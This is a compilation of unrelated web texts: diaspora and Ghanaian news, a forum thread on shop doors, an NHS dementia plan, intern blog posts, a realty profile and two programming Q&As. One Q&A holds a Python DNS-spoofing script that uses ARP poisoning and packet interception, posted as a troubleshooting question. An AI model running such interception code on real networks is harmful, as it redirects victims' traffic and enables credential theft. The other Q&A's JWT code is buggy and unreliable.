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'How COVID-19 pandemic altered lifestyle of Nigerians in US this Christmas'
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The Nigerian Diaspora Movement (NDM) says the COVID-19 pandemic truncated the annual social lifestyles for many Nigerians in the US in 2020, especially at Christmas.
The chairman of NDM, Professor Apollos Nwauwa, made this known in a telephone interview with the News Agency of Nigeria (NAN) on Monday in Abuja.
The NDM comprises 20 million Nigerians in the diaspora working together to build a progressive nation where every citizen is empowered to become and give the best.
Nnauwa, also the Secretary-General and Public Relations Officer, African Diaspora Congress (ADC), said that Nigerians indeed missed the fanfare often experienced during the yuletide.
According to him, instead of thinking about home-bound travels this year, Nigerians in the diaspora have been frozen to a standstill by the deadly COVID-19 pandemic.
Nnauwa said: "Every year, come rain, come sunshine, Nigerians travel home to celebrate Christmas and New Year with their families and friends back home.
"From January of every year, Nigerians in the U.S. begin to save money to travel home, by April, almost all international flights to Nigeria are usually sold out for December travels, due to the rush to purchase tickets.
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"This is usually to secure reasonable fares and guarantee seats on home-bound flights, but COVID-19 pandemic has truncated this annual migratory pattern and social lives for many Nigerians in the US.
"Given the huge death tolls, Nigerians, like other U.S. residents, have spent the better part of this year locked inside their homes just to stay safe."
He described COVID-19 as a deadly disease that kills with reckless abandon in the US, saying Nigerians are not only stuck there, but are now facing untold depression which the pandemic engendered.
"For the first time, Nigerians had no choice than to spend their Christmas in solitude in the US with no fanfare, with no friends and larger family.
"For many, 2020 Christmas is the worst ever for Nigerian and African Diasporans; it is typically lonely and dreadful, the same lonesomeness will mark the upcoming New Year celebration.
"It is certainly a year that most Nigerians and Africans in the diaspora will prefer to forget, though not even in a hurry because of its long-lasting devastations and deprivations," he added.
The NDM chairman said that millions of people, including Nigerians in the US had been laid off from work, just as breadlines had gotten longer and domestic crises worsened.
More so, he said, endless safety measures truncated all manner of celebrations, not only in the US but worldwide.
"This includes usual annual 4th of July Independence carnival, thanksgiving celebration, Christmas festivity and New Year blast, no doubt what COVID-19 has done in history is to lost a year.
"Since the beginning of the year, almost all social events and activities in the US have been paralysed by COVID-19 and its associated repercussions.
"Nigerians and Africans have been affected in extraordinary ways; traditionally Africans, especially Nigerians, are socially active and boisterous people with unusual penchant for communal lifestyles and merriment.
"Unlike typical individualistic Americans, Nigerians in the diaspora do not like isolation, but naturally showy, therefore one can better understand the impact of loneliness forced upon them by the pandemic," he added.
African Diaspora Congress is a coalition of the various groups and concerned citizens from Africa and African Diaspora.
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Do automatic doors help retail businesses?
Discussion in 'Retail' started by amy9, Dec 28, 2011.
A client of mine is looking to renovate the front of their store, and they're thinking of replacing their doors with some that open automatically.
While they've looked to me for advice, I can only really give my opinion. I believe that it's a good idea - to me automatic doors seem more welcoming, may reduce heating costs and make the store more accessible to customers with disabilities.
But, to those with experience in the retail business - would you say it's worth it?
Personally, I don't like them and prefer not to use them if I have a choice. I always seem to end up stood there like a lemon waiting for them to open, not knowing whether they're working or not, and not knowing whether to try pushing or pulling them. It also seems to me that they cause a bit of congestion whilst people are waiting for them, especially if they're constantly opening and closing as there seems to be a slight time delay if they've just closed before they're triggered to open again.
BUT, when I was wheeling around our son in his pram, I was grateful for them as it's not easy trying to open a door and navigate a pram at the same time, especially with some doors being quite stiff and hard to open. I would imagine they're also welcomed by the disabled.
If the shop front is wide enough, or if there are more than one main entrance areas, I think, if it were me, I'd go for having both - i.e. the main central entrance being manual doors, but there also being an automatic door for those who need it, maybe to one side. That way you're covering all angles. But, I wouldn't think a shop was less inviting if they didn't have automatic doors or more inviting because they did have them. I think it will really depend on the shop itself and a decision made subject to their specific circumstances rather than talking in general terms.
Bit off track but I find many shops have very heavy door to open,which I find very off putting.
I suspect it would be a better investment to make sure your doors open easily.
Id say it was a pointless expense? From past experience they arent cheap!
Your client may also have to contend with Planning Permission,which will add time and costs to the project.
Personally I like them as some doors are heavy and handles spread viruses. I think it gives a shop an appearance of being a bit more upmarket which could be important for the brand image?
BUT ... poor return on investment, need maintaining so ongoing expense and they stop working now and then so to have a manual backup or alternative is still required.
This is funny because I was having much bemusement at a service station last night, standing just outside the main entrance with the dog.
The were two large double doors, neither where automatic but you can see the problems these thing cause for most people. In this place one site was normal pull and push and the other for disabled persons had a button at waste level.
Personally I don't think the automatic door is fully there yet, most are just too slow for regular customers when the open. Till we get Star Trek like movement I wouldn't bother. But I guess it's don't to rules and regs in the end, you have to provide access for all.
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I think that wimpy men like myself like automatic doors, along with maybe elderly people.
I think the likes supermarkets etc use them because they can also afford to get them fixed when they get faulty, so if you have them and they get stuck, they might put customers off from going back to your store, so it may not be worth while.
I prefer automatic doors. They made me feel more comfortable because I usually hesitate before a door for two seconds thinking whether to pull or push it. But when the door is automatic, I just need to walk in. Besides, nowadays, these doors are getting more and more sensitive, I don't even need to wait anymore, they open before I arrive!
We always just keep our door open, we have a decent curtain heater over the door if it gets really cold but we never shut the door, so an automatic one would be a waste of money for us.
An interesting read. We've been in retail since 2005 and have always kept the doors of each of our shops open, all year around. If the doors are closed then the shops closed.
If the doors are closed then the shops closed.
It depends where you're trading; we face the sea and there are many months of the year when we manage to keep our shop door open. However, in the winter, the prevailing south-westerly wind and horizontal rain mean that we have to consider our customers and keep the door shut.
There's a debate going on at the moment as to whether it's a sensible idea to have a supermarket on the pier at Helensburgh. One potential scheme had automatic doors facing the sea; this caused some merriment as experienced locals know that the pier car park can flood in the right conditions and that standing on the pier is practically impossible if the wind is blowing at gale force. There doesn't seem to have been a site visit by interested parties to study the feasibility of winter-time trade.
from the point of view of attracting customers, either on first or return visits, I woukl say it makes little difference to me or most people, whether the doors are automatic or not.
If money is tight for the business, i woukl say don't fit them, unless they would pay for themselves in a few years through savings on heating costs and/or time, and there is a large customer throughput. If the business is generating lots of money and is looking for ways of spending it, by all means fit them.
Do you pay a lot for your heating, or are you cold in the winter?
If it's the latter, I'd worry that a cold shop would put customers off also. They may enter the shop but then leave and go to the warmer premises down the road.
The business aren't struggling, nor have they got money to waste. Afaik they can afford it, it's just a question of whether it's a worthwhile use of their money.
Do you have any idea how long it would take to see a return in terms of savings on heating costs?
I've done a bit of research and can't seem to find any figures, just lots of information stating that they do save businesses money.
The only reason I'd suggest going for Automatic doors, is if you've been requested to for DDA specification.
Automatic doors are not a money saver, they can cost a fair bit to install in the first place, a good set can cost between £5000 - £10,000 (based upon double doors) + VAT Anything cheaper than £5000 and I'd be a bit wairy of them myself.
If your friend decides to take on Automatic doors, ensure that you have a good service contract on them, otherwise they'll cost even more to repair in years to come. A service alone can cost anything from £200 - £400 per year.
Invest in good quality door closers, these by law are meant to be installed on any door which is to be used as a fire exit, this includes entrance doors, it is these that are a money saver and a life saver (pending on the situation).
If you don't have door closers installed, check with your fire officer, ensure that they are allowing the doors to be without door closers, if not you could be in for a whole lot of trouble in the case of a fire.
Don't be shy on spending £100 per door closer, you can get them quite cheap to be honest, anything from £30 + but for a busy shop, I'd suggest a door closer with a dampner, these will give much more control when closing, and wont appear to be "slamming shut" on customers.
A yearly service of your door closers shouldn't cost any more than an hours labour from your installer.
Are your doors actually suitable for automatic operation?
You might find that your existing doors are not suitable, by which means you'll end up forking out for new doors and frames on top of what you already may not need.
Last thing anyone wants to do is spend a daft amount of money for no reason at all.
Probably because there are no hard and fast figures you can work out, (as you can for lighting for examole) it depends on so many variables such as how many times the doors are opened i.e. throughput of customers, how big the place is and how well it is insulated already, size and no. of windows, how the place is heated at present and how much they pay for it (electricity is propably still the cheapest to install but the most expensive to run, closely followed by gas and oil) etc., etc.
In the end it probably comes down to a feeling of an experienced and independent heating engineer, but don't expect the savings to pay for themselves for several years - maybe measured in tens rather than single years, unless it has the customer throughput of a busy supermarket for example.


Together patients, GPs, other health professionals and partners will lead the transformation of local health services. Our culture of liberating thinking and encouraging innovation will enable us to approach improvements in health and wellbeing from a fresh and realistic perspective. We will work with partner organisations to develop opportunities to integrate services that are centred on the patient. Our commissioning decisions will drive improvements in the quality of services and we will increase productivity and efficiency through better use of people and funds. We will be a thriving local commissioning organisation, which acts within our health and local government community and is financially sustainable.
Together patients, GPs, other health professionals and partners will lead the transformation of local health services. Our culture of liberating thinking and encouraging innovation will enable us to approach improvements in health and wellbeing from a fresh and realistic perspective.
We will work with partner organisations to develop opportunities to integrate services that are centred on the patient. Our commissioning decisions will drive improvements in the quality of services and we will increase productivity and efficiency through better use of people and funds.
We will be a thriving local commissioning organisation, which acts within our health and local government community and is financially sustainable.
In pursuing this vision, and based on local health need our clinicians and patient representatives have identified "commissioning to improve the health of the whole population of our area with better quality and outcomes for all patients" in line with 3 priority areas including improving mental health and wellbeing as one of their clinical objectives.
As local commissioners we will continue to participate in quality reviews as well as contractual and service reviews from our providers including dementia services – see action plan.
In the context of our ageing population and significant rises in the prevalence of a number of long term conditions including dementia coupled with the current financial challenges in the NHS we need to drastically change the way in which we manage our existing resources to meet growing demand and the deliver the health outcomes our population deserve.
Collaborating with other local health and social care commissioners is essential, to ensure economies of scale, and deliver integrated care for patients. A memorandum of understanding for collaborative commissioning has been developed among the six CCGs within the Nottinghamshire health economy that details the framework for collaborative commissioning activity including the process to include QIPP in contract negotiations. This framework will be applied to the collaborative commissioning of five key contracts that exist for the provision of clinical services in Nottinghamshire including our main mental health provider Nottinghamshire Healthcare NHS Trust.
Embed and promote dementia awareness, training and diagnosis.
In partnership with NHSE, support early diagnosis and awareness through GPs' surgeries and NHS Health Checks. NHS Health Checks now also include a requirement to make those aged 65-74 aware of the signs and symptoms of dementia.
The 5 Ways to Well-being focus of the Sunday Fun-Day Event held at Rushcliffe Country Park on the 13th September 2015. Day focused on the 5 strands and having different services/groups there representing/linking to these strands e.g. Talking Therapies, leisure centres.
Service Improvements led by the CCG.
Commissioined a Primary Care Psychological Therapies pilot from Oct 15 to Mar 16 covering 3 Long Term Conditions including Dementia to ensure that both patients and their carers have appropriate support. Final report and recommendations/actions being taken forward presented to the Clinical Cabinet on the 02nd June 2016.
Improve access to treatment for dementia and support to carers by providing provision of support sessions for carers of dementia patients. Sessions commencing Jan 16 will cover a different aspect of dementia at each session and run through-out 16-17.
Supported and promoted the expansion of support services in Rushcliffe such as memory cafes via members of the Rushcliffe MH&LD Group and other wider CCG neworks e.g. Cotgrave Memory Café, Renew 37, Rosemary Café at Keyworth.
Mental Health Link Liaison Service started in June 2015 as a pilot until December 2015 to work with Long Term Condition nurses to provide a Mental Health service in primary care setting. Interventions include supporting people with low mood or anxiety and signposting.
Compass Workers presented at the Rushcliffe MH&LD Group on the 17th Sept 2015 highlighing their on-going work.
Opportunities for patient engagement and feedback on carers support services made possible via the Rushcliffe Carers forum.
Liaised with PALs officer to understand if there have been any specific complaints related to patients with dementia. Three related incidents in 2014/15 all around wanting information/guidance which were dealt with. Communication set-up for routine feed-back and annual review to be conducted. Completed: Q4 2014.
In partnership with NHT, introduction of 'Compass Workers' to work in community care supporting those with needs post-dementia diagnosis. Promotion and awareness-raising of these 'Compass Workers' to follow. Completed: Compass Workers to start September 2014.
Liaised with PALs officer to understand if there have been any specific complaints related to patients with dementia. Only one incident which was dealt with. Communication set-up for routine feed-back and annual review to be conducted. Completed: Q2 2014.
Service improvements in conjunction with providers.
Unwind your mind event took place on 10 October 2015 as part of Mental Health Awareness Fortnight in partnership with Rushcliffe's Community and Voluntary Service & Library Service.
Commissioned the development of 'Dementiacarer.net' by ARC Research. Website provides advice, information and support for carers of people with dementia, mainly by video clips relevant to their specific locality. Went live April 2014, developed further and publicised as West Bridgford Library ("Unwind Your Mind" Event Oct 2014). Completed: Q3 2014.
CCG proposed and the Clinical Cabinet approved the sign-up to the DAA "Carers Call to Action" Declaration at its meeting in October 2014. Completed: Q3 2014.
NHT CQUIN Target - Supporting Carers of people with dementia. Complated part of 2013/14 Contract.


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Q: DNS spoofer with websites I'm writing new DNS Spoofer code and test it with www.bing.com but it says "Server Not Found"
I knew the target IP (which is my VM) and poisoned the ARP connection, then tried the program with iptables enabled, but it doesn't work although I can see the package analysed with package.show().
import netfilterqueue
import scapy.all as scapy

def procced_package(package):
    scapy_package = scapy.IP(package.get_payload())
    if scapy_package.haslayer(scapy.DNSRR):
        link = scapy_package[scapy.DNSQR].qname
        print("Searching...")
        if "www.bing.com" in link:
            #print(scapy_package.show())
            print("[+] Spoofing Target")
            answer = scapy.DNSRR(rrname=link, rdata="192.168.1.12")
            scapy_package[scapy.DNS].ar = answer
            scapy_package[scapy.DNS].ancount = 1
            print("[+] Found The Target!")

            del scapy_package[scapy.IP].len
            del scapy_package[scapy.IP].chksum
            del scapy_package[scapy.UDP].len
            del scapy_package[scapy.UDP].chksum
            package.set_payload(str(scapy_package))
    package.accept()

queue = netfilterqueue.NetfilterQueue()
queue.bind(1, procced_package)
print("Waiting...")
queue.run()

The result is "Server Not Found" only for my target

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There are many options of available to today's job seeker. With a quick change of graphical elements such as fonts and style, the feel of a resume can change from traditional and conservative to creative and modern.
A print version of your resume refers to the version of your resume that is ready to print; either for mailing for job leads or for hand delivering to potential contacts. This version may contain bold print, italicized text, bulleted lists and less well known fonts, however these should be used sparingly.
The amount of whitespace should also remain consistent throughout the resume. The use of whitespace in a resume can be critical. Too much whitespace will draw attention to a resume that may be lacking in skills and experience.
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Left aligned resume layouts are particularly good for resumes that are short in nature. All headings and corresponding information are aligned to the left.
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Tag Archives: interns
April 25, 2009 | Media, Navel-gazing
Meet the new guy
There was a major reorganization of office space at work, so I was already a bit disoriented, but I could have sworn I saw a reporter I'd never seen before. Who was this guy? Was he hiding at a corner desk and I just never noticed him for a year and a half? Had he just come back from leave of some sort? Had he just been hired?
I learned later that none of these things are true. He's an intern, spending a few weeks at the paper writing freelance stories.
His name is Alex Leduc. He's on Twitter and everything.
His first story, about non-Habs fans in Montreal, came out on Wednesday.
Now he's working on chasing the Google Street View car. Which leads to the same question you ask of every dog who chases a car: what do you do when you catch it?
UPDATE (May 10): Here's another story about an anti-capitalist protest. He had a third about hard-core Impact fans, but it's unfortunately not online.
Tags: Alex Leduc, interns, The Gazette
February 10, 2009 | Business, Media
Metro expects journalists to work for free
In case you needed more evidence that news organizations are taking advantage of the naiveté of young journalism students to reduce their payroll costs, the Metro newspaper in Toronto has fired its paid staff and replaced them with but are keeping their unpaid interns.
One of these days, newspapers (especially crappy ones like Metro) will lose that prestige that allows them to abuse students who are so desperate to get into their dream career they'll work for free.
UPDATE (Feb. 11): One of those laid-off journalists writes about his bosses escorting him from the building on his personal blog.
Tags: interns, job cuts, Metro newspaper
September 23, 2008 | Navel-gazing
Interns once sat here.
September is always a sad time around the office, though perhaps my opinion is somewhat biased because I've had two contracts run out during that month. It's when veteran staff return from summer vacation, when new mothers return from maternity leave, when retirees return from the dead and when Red Fisher returns from suspended animation for the new hockey season.
The result is that understaffing issues suddenly disappear, and the young contract workers they bring in as temporary replacements are no longer needed.
That, combined with the summer interns returning to school or otherwise continuing on with their lives, means that a lot of young, talented people are leaving the office (and raising the average age back above "back when I worked at the Star" level).
It's not all "tough luck kid, you fall off the ladder." Some are leaving voluntarily and have other plans. A couple are going back to school (one to law school where he's concluded that he can get a real career), three others are moving to Europe for some reason, and the rest have a vague idea of what paths their future careers will take.
It's a fact of contract life, temporary work is by definition not permanent, but it's still sad when the end finally comes. This past weekend I gave a big hug to a departing coworker who failed to escape the culling of temps and is already being missed by her colleagues.
Kate Molleson: Behold her adorableness (Gazette photo)
One of the more visible faces to leave the office is Kate Molleson, who joined as an intern last year on the copy desk and has been blogging about cycling issues since April (she also wrote and blogged about classical music, because she's just that much more cultured than I am). She has already left to London to study music, and gives her goodbye post in which she introduces three experts who will replace her on her blog.
Kate practices her Queen's wave
By my count, the paper is losing five reporters, two copy editors, a graphic designer and at least one web editor. And they will be sorely missed, at least until next May when a whole new crop of interns and temporary workers comes in to fill gaps in the schedule.
(In case you're wondering, I'm sticking around at least until January, assuming there's no strike or lockout before then.)
Of course, since many of the people who leave the Gazette go on to bigger and better things, perhaps I shouldn't feel so bad.
Tags: interns, Kate-Molleson, The Gazette
May 29, 2008 | Media, Navel-gazing
Intern season at the Gazette
This week is New Intern week at work, when the newsroom is swarmed by snot-nosed idiot kids eager young journalists beginning their careers with a summer stint at the paper, replacing the veterans who get to use their vacation time. There are four reporting interns, a copy editing intern (who started two weeks ago), an online intern, a photo intern and a design intern (the latter two will start within the next few weeks).
The reporters get the most attention though. In only a few days they've all already gotten their first bylines, in stories published in Wednesday and Thursday editions (UPDATE: I've added more features they've gotten in through the weekend):
Julia Kilpatrick:
A bike path planned for Mount Royal
A (shared) front-page byline about the city's transportation plan
Province must return student loan interest
Giuseppe Valiante (like me, a former Linkie):
Religious leaders praise Bouchard-Taylor report
Campaign to ban smoking in cars
Street gang members rounded up in raids
Christopher Maughan:
Fast-food joints lurk near schools (updated link)
Dead people under Dorchester Square
Brett Bundale:
Montreal Heart Institute celebrates 40th anniversary of its first heart transplant (updated link)
Helping the homeless get off the street
Roadsworth returns (with a permit)
The reporting and editing interns almost always come from Carleton and Concordia universities, due to the requirements that they know something about Montreal and they be able to converse in French. No exceptions here.
Place your bets now on which one of these will move on to reporting for Maclean's/Globe and Mail/Time Magazine/New York Times, which will spend the rest of their lives in community newspaper obscurity, and which will eventually decide that PR/NGO work/selling crack is more rewarding and pays better.
Tags: Brett Bundale, Christopher Maughan, Giuseppe Valiante, interns, Julia Kilpatrick, The Gazette

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News In Ghana – Latest Ghana News Headlines
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Odd But True
Don't repeat 2016 mistakes – Goosie Tanoh warns NDC
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Stop destroying reputation of killed Pastor – Rev Prof Paul Frimpong Manso
Amidu's appointment 'most objective' in 4th Republic – Gyampo
By ghanamma
General News of Friday, 12 January 2018
Source: citifmonline.com
Ransford Gyampo
A Political Science lecturer at the University of Ghana, Ransford Gyampo, has described the nomination of former Attorney General, Martin Amidu as the country's first Special Prosecutor as the "most objective political appointment" in the Fourth Republic.
According to him, the outspoken member of the National Democratic Congress (NDC) possesses the qualities needed for the position which was created by the government to lead the prosecution of corrupt state officials.
Ransford Gyampo, who had also suggested the appointment of Martin Amidu to head the Special Prosecutor's Office prior to Thursday's announcement, added that Martin Amidu "has the stature, character, competence and objectivity", to pursue corrupt officials within the current government as well as previous ones.
"I proposed the appointment of a person in the character and stature of Martin Amidu (or Anas) as someone who could do well to surmount the fundamental problem and make some strides in the fight against corruption in spite of the challenges of independence," Ransford Gyampo wrote.
"This is the most objective political appointment that has ever been made in the history of our Fourth Republic. "If you cant find them in your party, go beyond your party to find them all in the name of serving Ghana." Not all positions can or must be filled from within."
Several persons had expressed fears that President Akufo-Addo would appoint someone from within the New Patriotic Party (NPP) to head the Special Prosecutor's Office, thereby compromising their objectivity.
However, the appointment of Martin Amidu, a known member of the opposition NDC, will erase many doubts about the neutrality of the Office.
And according to Dr. Gyampo, the appointment of Martin Amidu was one that could be celebrated by all political parties given his tendency to speak out against different governments, including his own.
He also commended the President for his "bold" choice, acknowledging that the appointment was an indication of his commitment towards fighting corruption.
"President Akufo Addo has demonstrated his desire to protect the national interest. I am sure he was opposed about his choice by the hawks and the overly partisan apparatchiks. I congratulate him for this bold step," he wrote.
"Mr. President, more of these appointments. Appointments that even your political opponents can't really oppose."
See the full statement from Ransford Gyampo below:
1. The Special Prosecutor suffers from a fundamental challenge regarding autonomy and independence.
2. In my earlier critique of the move to create a Special Prosecutor rather than an Independent Public Prosecutor, I proposed the appointment of a person in the character and stature of Martin Amidu (or Anas) as someone who could do well to surmount the fundamental problem and make some strides in the fight against corruption in spite of the challenges of independence.
3. Martin Amidu has the stature, character, competence, objectivity and all it takes to wield the needed DOUBLE-EDGED SWORD in fighting corruption within the ruling party and outside the party.
4. He has the NAME, MORAL AUTHORITY AND CREDIBILITY as CITIZEN VIGILANTE and I believe he would work to protect not only our money, but also his own name.
5. This is the MOST OBJECTIVE POLITICAL APPOINTMENT that has ever been made in the history of our Fourth Republic. "If you cant find them in your party, go beyond your party to find them all in the name of serving Ghana". Not all positions can or must be filled from within.
6. President Akufo Addo has demonstrated his desire to protect the NATIONAL INTEREST. I am sure he was opposed about his choice by the hawks and the overly partisan apparatchiks. I congratulate him for this bold step.
7. There would be serious autonomy challenges but CITIZEN VIGILANTE, do your best for mother Ghana under the circumstance.
8. I am a very proud Ghanaian today and I thank the President for following one of the key pathways to dealing with Winner-Takes-All politics.
9. Mr. President, more of these appointments. Appointments that even your political opponents can't really oppose.
10. Mr. Amidu, I wish you well. Remember how you took people in your own party on. Take appointees of this administration on when necessary to give you the audacity to prosecute those who aren't in government when you have the evidence.
God bless our homeland Ghana.
Yaw Gyampo.
A31, Prabiw
P.AV. Ansah Street
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The appointment of Martin Amidu as Special Prosecutor, pending Parliamentary approval, has been hailed by experts and ordinary Ghanaians as a 'masterstroke' by the President.
Ghana's first President in the Fourth Republic, Jerry John Rawlings also commended the appointment, describing Martin Amidu as "fearless."
Mr. Rawlings said President Nana Akufo-Addo had "risen above partisanship and recognized a highly principled citizen."
More About Martin Amidu
Martin A. B. K. Amidu was the Attorney-General and Minister for Justice from January 2011 till January 2012 under the late President John Evans Atta-Mills.
Amidu, a member of the NDC, served as the Deputy Attorney-General for about the last four years of the Provisional National Defence Council military government.
After civilian rule was established in the Fourth Republic in January 1993, he continued to serve in the government of Jerry Rawlings as Deputy Attorney-General. This he did for both terms lasting eight years until January 2001.
In the December 2000 presidential elections, he stood as the running mate of John Atta Mills. They both however lost to President John Kufuor that year.
In January 2010, following a cabinet reshuffle, President Mills replaced Cletus Avoka with Martin Amidu as the Minister for Interior. As Amidu is a Builsa, some people raised questions as to his neutrality in dealing with the Bawku conflict. He however went successfully through vetting by the Parliament of Ghana and has since assumed his post.
Following the second major cabinet reshuffle by President Mills, Amidu became the Attorney general and Minister for Justice of Ghana.
From Office
Martin Amidu was relieved of his post on Thursday January 19, 2012, by President John Evans Atta Mills under circumstances described by aids as 'his misconduct' at a meeting chaired by the president at the Osu Castle on January 18, 2012.
He made allegations relating to alleged financial impropriety on the part of another cabinet minister, allegations he was asked by the president to substantiate.
Martin Amidu, the former Attorney General, single-handedly challenged the legality of the payments after being relieved off his post at the Supreme Court. The Supreme Court in 2014 ordered Mr. Woyome to pay back the money as Supreme Court judges unanimously granted the Attorney-General clearance to execute the court's judgment, ordering Mr. Woyome to refund the cash to the state.
Following the delays in retrieving the money, Mr. Amidu in 2016, filed an application at the Supreme Court seeking to examine Alfred Woyome, on how he would pay back the money, after the Attorney General's office under the Mahama Administration, led by the former Minister for Justice, Marietta Brew Appiah-Oppong, discontinued a similar application.
In February 2017 however, Mr. Amidu withdrew his suit seeking an oral examination, explaining that the change of government under the New Patriotic Party under His Excellency the President, Nana Addo Dankwah Akuffo Addo and his Attorney General, Miss Gloria Akuffo's assurance to retrieve all judgment debts wrongfully paid to individuals Mr. Woyome in response prayed the Supreme Court to stay proceedings on the oral examination since he had filed for a review on the case.


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Q: Passport & JWT & Google Strategy - Disable session & res.send() after google callback Using: passport-google-oauth2.
I want to use JWT with Google login - for that I need to disable session and somehow pass the user model back to client.
All the examples are using google callback that magically redirect to '/'.
How do I:
1. Disable session while using passport-google-oauth2.
2. res.send() user to client after google authentication.
Feel free to suggest alternatives if I'm not on the right direction.

A: Manage to overcome this with some insights:
1. disable session in express - just remove the middleware of the session
// app.use(session({secret: config.secret}))

2. when using Google authentication what actually happens is that there is a redirection to google login page and if login is successful it redirect you back with the url have you provided.
This actually mean that once google call your callback you cannot do res.send(token, user) - its simply does not work (anyone can elaborate why?). So you are force to do a redirect to the client by doing res.redirect("/").
But the whole purpose is to pass the token so you can also do res.redirect("/?token=" + token).
app.get( '/auth/google/callback',
        passport.authenticate('google', {
            //successRedirect: '/',
            failureRedirect: '/'
            , session: false
        }),
        function(req, res) {
            var token = AuthService.encode(req.user);
            res.redirect("/home?token=" + token);
        });

But how the client will get the user entity?
So you can also pass the user in the same way but it didn't felt right for me (passing the whole user entity in the parameter list...).
So what I did is make the client use the token and retrieve the user.
    function handleNewToken(token) {
        if (!token)
            return;

        localStorageService.set('token', token);

        // Fetch activeUser
        $http.get("/api/authenticate/" + token)
            .then(function (result) {
                setActiveUser(result.data);
        });
    }

Which mean another http request - This make me think that maybe I didnt get right the token concept.
Feel free to enlighten me.

A: Initialize passport in index.js:
app.use(passport.initialize());

In your passport.js file:
passport.use(
new GoogleStrategy(
{
 clientID: process.env.GOOGLE_CLIENT_ID,
 clientSecret: process.env.GOOGLE_CLIENT_SECRET,
 callbackURL:
'http://localhost:3000/auth/google/redirect',
},
async (accessToken, refreshToken, profile,
callback) => {
  // Extract email from profile
  const email = profile.emails![0].value;

  if (!email) {
    throw new BadRequestError('Login failed');
  }

  // Check if user already exist in database
  const existingUser = await User.findOne({ email
});

  if (existingUser) {
    // Generate JWT
    const jwt = jwt.sign(
      { id: existingUser.id },
      process.env.JWT_KEY,
      { expiresIn: '10m' }
    );

    // Update existing user
    existingUser.token = jwt
    await existingUser.save();

    return callback(null, existingUser);
  } else {

    // Build a new User
    const user = User.build({
      email,
      googleId: profile.id,
      token?: undefined
    });

    // Generate JWT for new user
      const jwt = jwt.sign(
      { id: user.id },
      process.env.JWT_KEY,
      { expiresIn: '10m' }
    );

    // Update new user
    user.token = jwt;

    await auth.save();

    return callback(null, auth);
  }
}));

Receive this JWT in route via req.user
app.get('/google/redirect', passport.authenticate('google',
{failureRedirect: '/api/relogin', session: false}), (req, res) => {
// Fetch JWT from req.user
const jwt = req.user.token;
req.session = {jwt}
// Successful authentication, redirect home
res.status(200).redirect('/home');
}


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Smooth Sailing:The World's Shipping Lanes Are Safe
By Dennis Blair and Kenneth Lieberthal
Dennis Blair is former Commander in Chief of U.S. Pacific Command. Kenneth Lieberthal is Professor of Political Science at the University of Michigan and served as Senior Director for Asia on the National Security Council from 1998 to 2000.
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The dangers facing oil tankers carrying their vital cargo over long distances haunt leaders worldwide and animate their discussions about naval procurement. Military analysts in countries such as China and India have begun to assert that their countries need their own blue-water navies to protect tankers on their journeys from foreign terminals to home ports.
This argument is understandable given that much of the world's oil supply travels by sea. The United States, the world's largest oil consumer, imports 60 percent of the oil it consumes, over 95 percent of which arrives by sea. Japan, the world's third-largest oil consumer, is almost completely dependent on maritime imports. In 2005, China imported 46 percent of the oil it consumed, India 68 percent. By 2025, import figures are expected to balloon to 75 percent of total consumption for China and approximately 85 percent for India. Both bring in roughly 90 percent of their imported oil by sea.
Most of these countries rely on the safe transport of oil through one 21-mile-wide waterway: the Strait of Hormuz, which leads out of the Persian Gulf into the Indian Ocean and through which 16.5-17.0 million barrels of oil were shipped daily in 2004 (accounting for nearly 25 percent of global oil shipments). Oil bound for China, Japan, and the West Coast of the United States from the Middle East must also transit the Strait of Malacca and the Strait of Singapore, both of which carried 11.7 million barrels per day in 2004. These passageways are the chokepoints where the potential for the disruption of tanker traffic by terrorist attacks or naval blockades is greatest.
But in reality the risks to maritime flows of oil are far smaller than is commonly assumed. First, tankers are much less vulnerable than conventional wisdom holds. Second, limited regional conflicts would be unlikely to seriously upset traffic, and terrorist attacks against shipping would have even less of an economic effect. Third, only a naval power of the United States' strength could seriously disrupt oil shipments, but the United States is more likely to protect
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Heidi Roth Stays on Top by Working on Her Foundation
Heidi Roth of Kilroy Realty outlines her recruitment and technology initiatives that keep the company competitive in a saturated market
By	Mary Kenney
When working in one of the most competitive markets in the country, the first challenge is to stand out in a crowded field. With a focus on sustainability and creative work spaces, Kilroy Realty owns, operates, and develops commercial real estate in California and Washington, some of the most competitive markets in North America. In these West Coast markets, Kilroy must find ways to distinguish itself and innovate.
For Heidi Roth, executive vice president, chief accounting officer, and controller at Kilroy Realty, two major priorities toward this goal are recruiting and retaining talent and implementing new technology to improve efficiency. Roth is one of the most senior women at the company, and her workload includes overseeing the core accounting functions, payroll, SEC and tax compliance, and participating in the quarterly earnings process with investors. Still, she's identified talent recruitment and leveraging technology as two areas in which Kilroy Realty should focus on being an industry leader.
CEO John Kilroy supports the company's culture of hiring the best and brightest talent it can and listening to ideas across the board—not just from the top down. For Roth, a way to ensure these ideas are heard is through an employee engagement initiative.
This initiative, which Roth works on with a team of individuals throughout the company, has both informal and formal components. Informally, it's been about shrinking the divide between company leaders and employees: talking to people daily, keeping doors open, and team-building outings. "It's about being a resource for people and breaking down barriers," Roth says. Formally, however, it's about focusing on recruiting and mentoring people in different career points and roles—and making sure they have the tools to succeed.
Creating a culture that emphasizes engagement is critical not only for Kilroy, but for Roth's department. She works to ensure her team has a good relationship with business units across the company, which she says is crucial to Kilroy's success. "To avoid surprises and ensure we are making informed business decisions, it's helpful to include the right people from the beginning," she says. "Unintended consequences can be avoided with education and strong relationships between the accounting team and the business units."
But recruitment and relationships are only part of Roth's work to keep Kilroy an efficient and enjoyable place to work. Another is improving technology for her team in accounting, which also creates efficiency throughout the company. This is important to Roth because of the accounting department's purpose within the company: "We're a service department. We have to be cognizant of that in order to help the business operate efficiently," she says.
For the past four years, Roth explains, Kilroy has been focused on better leveraging technology to improve efficiency. This focus has benefited her team in several ways. One is that they have automated many processes that save time and reduce the risk of human error, which is critical for a public company. Automating processes, Roth says, has also improved efficiency for other departments in the organization. Introducing new technology is difficult, she adds, but has been worth the effort in the long run. "Once you start implementing solutions that make people's jobs easier and allow them to perform administrative tasks more efficiently, people are more open to future initiatives," she says.
Engagement initiatives, leveraging technology, and automating routine processes have all contributed to the kind of culture Roth believes is important to Kilroy's success. Still, company culture is only part of any individual employee's success. At Kilroy Realty, there are many opportunities to achieve success, but employees have to be just as invested in the company. "Kilroy has a promote-from-within culture," Roth says. "If you put your head down, do a good job, and make contributions to the team, you will be recognized." She adds that confidence in yourself and your team is crucial. "Don't be afraid to hire people smarter than you," she says. "Invest in your people, and give them opportunities to learn and grow as professionals and individuals. Figure out what is important to your success, and weed out the distractions that won't help you get there."
Roth's focus on these initiatives at Kilroy has made the company a workplace that provides opportunities for success. Ultimately, staying competitive is about nurturing the real estate company's biggest asset—talent.
